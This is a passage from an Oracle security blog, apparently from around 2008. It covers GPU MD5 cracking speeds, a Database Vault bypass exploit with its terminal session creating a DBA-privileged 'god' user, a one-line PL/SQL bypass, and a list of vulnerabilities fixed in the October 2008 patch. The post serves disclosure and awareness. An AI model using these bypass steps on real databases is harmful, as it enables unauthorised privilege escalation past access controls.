Alexander Kornbrust Oracle Security Blog

Last week at the DOAG conference I published a few numbers about the MD5 cracking speed of BarsWF.  Today I found a new record on the web. 3.6 billion (!!!) password hashes per second can calculated with BarsWF. This configuration was using 4x [eVGA 9800GX2] without  overclocking.Here are some calculations how long it takes to break MD5 hashes.All passwords (lowercase or uppercase, alpha, 26^1+26^2+26^3+…)

• up to 8 characters => 60 seconds
• up to 9 characters => 26 minutes
• up to 10 characters => 11 hours

All passwords (mixed case, alphanum, 62^1+62^2+62^3+…)

• up to 7 characters => 16 minutes
• up to 8 characters => 17 hours
• up to 9 characters =>44 days

Several Oracle products like OID, OVS (Oracle Virtual Server) or Apex (until 2.2.) are using plain MD5 for hashing passwords. But even the usage of salt (like Apex 3.0) does not help against this computing power….

Few days ago Jakub Wartak has posted an exploit showing how to switch DV off on his blog.Jakub describes that he was surprised that Data Vault does not protect from OS side. That’s something many people are not aware of. Oracle Data Vault is not designed to protect from normal DBAs (with OS access).Here the usage of his exploit:

[oracle@xeno ora_dv_mem_off]$ !gcc
gcc -Wall ora_dv_mem_off.c -o ora_dv_mem_off -lbfd -liberty
ora_dv_mem_off.c: In function ‘locate_dv_func’:
ora_dv_mem_off.c:92: warning: initialization discards qualifiers from pointer
target type
ora_dv_mem_off.c:93: warning: initialization makes pointer from integer
without a cast

[oracle@xeno ora_dv_mem_off]$ ./ora_dv_mem_off
[17035] starting to trace sqlplus process (17036)
[***] NOW TYPE IN SQLPLUS: conn / as sysdba
[17035] execve() syscall in 17036

SQL*Plus: Release 10.2.0.3.0 – Production on Wed Feb 27 18:56:55 2008

Copyright (c) 1982, 2006, Oracle.  All Rights Reserved.

SQL> conn / as sysdba
[17035] clone() syscall in 17036, tracing orapid=17037
[17035] execve() syscall in 17037,
[17035] symbol “kzvtins” at 0xb185820
[***] sucessfuly validated function, DatabaseVault=1
[***] attempting to rewrite memory at 0xb185824
Connected.
SQL> create user god identified by abc;

User created.

SQL> grant dba,dv_admin,dv_owner,connect,resource to god;

Grant succeeded. 

Here is another (easier) way to bypass Data Vault without installing/compiling software. I found this issue a few months ago (in Oracle 11.1.0.6). After contacting secalert they told me that this issue was already fixed in Oracle CPU July 2008 (but not documented):

— run as user with DBA privleges 

SQL>  exec sys.kupp$proc.change_user(‚DVA‘);

PL/SQL procedure successfully completed. 

Oracle just released the CPU for October 2008. This time Oracle fixed 36 security bugs across all products. Oracle recommends to apply this CPU with the following words

„Due to the threat posed by a successful attack, Oracle strongly recommends that customers apply fixes as soon as possible.“

The credits are going to the usual suspects: Esteban,  Joxean, Pete, Slavik, Amichai plus a few new people like Chris Valasek, Jack Kanter, Tony Fogarty, Guy.

Oracle fixed 4 of my vulnerabilities with this CPU. Some of my issues were reported in 2005…

• SQL INJECTION IN UPGRADE SCRIPT EXFEAPVS.SQL (CVE-2008-3980)
• OLAP_USER HAS CREATE PUBLIC SYNONYM PRIVILEGE (CVE-2008-2624)
• jdeveloper: plaintext password in IDEConnections.xml (CVE-2008-2588)
• SHUTDOWN ANY UNPROTECTED TNS LISTENER VIA REPORTS SERVLET (CVE-2008-2619)

I will release advisories within the next few days.